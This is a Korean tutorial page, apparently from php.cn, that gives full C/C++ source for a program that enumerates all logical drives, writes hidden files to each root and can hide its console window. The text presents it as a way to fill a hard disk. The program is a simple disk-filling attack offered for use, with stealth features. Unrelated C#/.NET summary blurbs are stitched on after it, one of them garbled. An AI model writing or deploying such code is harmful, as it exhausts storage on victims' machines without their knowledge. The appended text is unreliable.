하드 디스크를 가득 채울 수 있는 프로그램 작성에 대해
먼저 아이디어를 생각해 보겠습니다.
1단계: 논리 드라이브 문자 가져오기
2단계: 파일 만들기
3단계: 파일에 데이터 쓰기
확장 요구 사항:
1: 창 숨기기
2: 파일을 숨김으로 설정 attribute
아래에서는 위 아이디어에 대한 API를 소개하고 이를 수락한 후 소스 코드를 제공합니다
GetLogicalDriveStrings function
시스템에서 유효한 드라이브를 지정하는 문자열로 버퍼를 채웁니다.
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );
이 함수는 시스템에서 사용 가능한 디스크를 lpBuffer로 읽어옵니다
성공하고 얻은 전체 길이를 반환합니다.
실패하는 경우는 두 가지입니다. 하나는 버퍼 길이가 부족해서이고, 다른 하나는 다른 문제입니다
다른 API 함수에 대해서는 둘 다 비교적 간단합니다. 일부 함수는 이름의 의미를 통해 알 수 있습니다. 여기서는 소스 코드에 대한 설명도 있습니다. 아래 소스코드를 보세요
#include <Windows.h> int main() { //FreeConsole(); //隐藏控制台 char strDriveStrings[MAXBYTE] = { 0 }; //获取逻辑地址 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节表示一个盘符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //创建100个文件 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //创建文件 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //写入数据 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //设置为隐藏 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
파일 탐색 속성을 설정하세요:
실행 결과는 다음과 같습니다:
다음과 같은 문제가 발생할 경우
문자셋을 다음과 같이 수정하세요.
그래서 파일 몇개, 데이터만 더 만들면 하드디스크가 꽉 차요
위 내용은 C/ C++에서 하드디스크를 가득 채울 수 있는 프로그램의 내용을 쉽게 작성할 수 있다는 것입니다. 내용은 PHP 중국어 홈페이지(www.php.cn)를 주목해주세요!

C# 및 .NET은 강력한 기능과 효율적인 개발 환경을 제공합니다. 1) C#은 C의 힘과 Java의 단순성을 결합한 최신 객체 지향 프로그래밍 언어입니다. 2) .NET 프레임 워크는 여러 프로그래밍 언어를 지원하는 응용 프로그램을 구축하고 실행하는 플랫폼입니다. 3) C#의 클래스와 객체는 객체 지향 프로그래밍의 핵심입니다. 클래스는 데이터와 동작을 정의하고 객체는 클래스의 사례입니다. 4) .NET의 쓰레기 수집 메커니즘은 자동으로 메모리를 관리하여 개발자의 작업을 단순화합니다. 5) C# 및 .NET은 강력한 파일 작업 기능을 제공하여 동기 및 비동기 프로그래밍을 지원합니다. 6) 디버거, 로깅 및 예외 처리를 통해 일반적인 오류를 해결할 수 있습니다. 7) 성능 최적화 및 모범 사례에는 StringBuild 사용이 포함됩니다

.NETFRAMEWORK는 일관된 프로그래밍 모델과 강력한 런타임 환경을 제공하는 교차 문자 크로스 플랫폼 개발 플랫폼입니다. 1) CLR 및 FCL로 구성되어 메모리와 스레드를 관리하고 FCL은 사전 제작 된 기능을 제공합니다. 2) 사용의 예로는 파일 읽기 및 LINQ 쿼리가 포함됩니다. 3) 일반적인 오류에는 처리되지 않은 예외와 메모리 누출이 포함되며 디버깅 도구를 사용하여 해결해야합니다. 4) 비동기 프로그래밍 및 캐싱을 통해 성능 최적화를 달성 할 수 있으며 코드 가독성 및 유지 관리 가능성을 유지하는 것이 중요합니다.

C#.NET이 지속적으로 매력적으로 유지되는 이유는 우수한 성능, 풍부한 생태계, 강력한 지역 사회 지원 및 크로스 플랫폼 개발 기능을 포함합니다. 1) 탁월한 성능과 엔터프라이즈 수준의 응용 프로그램 및 게임 개발에 적합합니다. 2) .NET 프레임 워크는 다양한 개발 분야를 지원하기위한 광범위한 클래스 라이브러리 및 도구를 제공합니다. 3) 활발한 개발자 커뮤니티와 풍부한 학습 리소스가 있습니다. 4) .netCore는 크로스 플랫폼 개발을 실현하고 응용 프로그램 시나리오를 확장합니다.

C#.NET의 설계 패턴에는 싱글 톤 패턴 및 종속성 주입이 포함됩니다. 1. Singleton Mode는 클래스의 인스턴스가 하나 뿐이며 글로벌 액세스 포인트가 필요한 시나리오에 적합하지만 스레드 안전 및 남용 문제에주의를 기울여야합니다. 2. 종속성 주입은 종속성을 주입하여 코드 유연성과 테스트 가능성을 향상시킵니다. 그것은 종종 생성자 주입에 사용되지만 복잡성을 증가시키기 위해 과도한 사용을 피해야합니다.

C#.net은 현대 세계에서 게임 개발, 금융 서비스, 사물 인터넷 및 클라우드 컴퓨팅 분야에서 널리 사용됩니다. 1) 게임 개발에서 C#을 사용하여 Unity 엔진을 통해 프로그래밍하십시오. 2) 금융 서비스 분야에서 C#.NET은 고성능 거래 시스템 및 데이터 분석 도구를 개발하는 데 사용됩니다. 3) IoT 및 클라우드 컴퓨팅 측면에서 C#.NET은 Azure 서비스를 통해 지원을 제공하여 장치 제어 로직 및 데이터 처리를 개발합니다.

.NETFRAMEWORKISWINDOWS 중심, while.netCore/5/6 SupportScross-PlatformDevelopment.1) .NETFramework, 2002 년 이후, isidealforwindowsapplicationsButlimitedIncross-platformcapabilities.2) .netcore, 2016, anditsevolutions (.net5/6).

C#.NET 개발자 커뮤니티는 다음을 포함하여 풍부한 리소스와 지원을 제공합니다. 1. Microsoft의 공식 문서, 2. StackoverFlow 및 Reddit과 같은 커뮤니티 포럼, 3. GitHub의 오픈 소스 프로젝트. 이러한 리소스는 개발자가 기본 학습에서 고급 응용 프로그램에 이르기까지 프로그래밍 기술을 향상시키는 데 도움이됩니다.

C#.net의 장점은 다음과 같습니다. 1) 비동기 프로그래밍과 같은 언어 기능은 개발을 단순화합니다. 2) JIT 컴파일 및 쓰레기 수집 메커니즘을 통한 효율성 향상, 성능 및 신뢰성; 3) 크로스 플랫폼 지원, .netcore는 응용 프로그램 시나리오를 확장합니다. 4) 웹에서 데스크탑 및 게임 개발에 이르기까지 뛰어난 성능을 가진 광범위한 실제 응용 프로그램.


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